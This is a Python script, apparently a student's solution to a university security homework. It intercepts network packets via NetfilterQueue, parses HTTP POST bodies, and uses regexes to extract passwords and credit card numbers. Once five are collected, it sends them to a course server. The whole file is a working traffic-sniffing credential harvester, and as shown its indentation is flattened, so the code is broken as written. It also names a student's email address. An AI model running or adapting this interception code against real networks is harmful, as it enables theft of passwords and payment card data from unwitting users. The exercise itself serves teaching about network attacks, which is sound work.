infosec/sniffer.py
21a55eacaebemaster

sniffer.py
View Options

			from netfilterqueue import NetfilterQueue
			from scapy.all import *
			import json
			import requests
			import re

			done=False

			counter=0

			secrets=['a','a','a','a','a']

			def callback(pkt):
			global counter
			global secrets
			global done
			if not done:
			print(pkt)
			ip = IP(pkt.get_payload())
			if ip.haslayer(Raw):
			http=ip[Raw].load.decode()
			#print (http)
			http=http.splitlines()
			if http[0]=="POST /hw1/ex4/transaction HTTP/1.1":
			#print(http)
			#print(json.loads(http[-1]))
			payload=json.loads(http[-1])
			found=[]
			found=ppasw.findall(payload)+pcredit1.findall(payload)+pcredit2.findall(payload)
			print ('found: '+str(found))
			print ('secrets: ' +str(secrets))
			if len(found)>=1 :
			foundsecret=found[0].split()[-1]
			if not (foundsecret in secrets):
			secrets[counter]=foundsecret
			print('added')
			print (secrets)
			counter=counter+1

			if counter == 5:
			send_payload = {}
			send_payload['student_email'] = 'dennis.gankin@epfl.ch'
			send_payload['secrets'] = secrets
			print(send_payload)
			r=requests.post('http://com402.epfl.ch/hw1/ex4/sensitive',json=send_payload)
			print(r.text)
			done=True

			pkt.accept()


			pcredit1= re.compile(' cc --- [0-9]{4,4}.[0-9]{4,4}.[0-9]{4,4}.[0-9]{4,4} ')
			pcredit2= re.compile(' cc --- [0-9]{4,4}[/][0-9]{4,4}[/][0-9]{4,4}[/][0-9]{4,4} ')
			ppasw=re.compile(' pwd --- [A-Z0-9:;<=>?@]{8,30} ')

			#print (ppasw.findall('asjdadsj pwd --- AH@JG2AHJS23BDHBA:;AHJ sdhjasdjkaDKS')) qbWH00BNPQ8PHF7sqwxf16/kNtmRMiXlGunKfpDsOVY=



			nfq = NetfilterQueue()

			nfq.bind(0, callback, 100)

			try:
			nfq.run()
			except KeyboardInterrupt:
			print('')

			nfq.unbind()